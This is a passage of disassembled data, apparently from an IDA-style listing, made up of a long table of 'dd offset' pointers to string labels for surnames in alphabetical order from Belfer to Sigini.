dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer_0 ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton_0 ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" off_444C4C dd offset aKelker ; DATA XREF: .data:00454BACo ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine_0 ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch_0 ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay_0 ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset 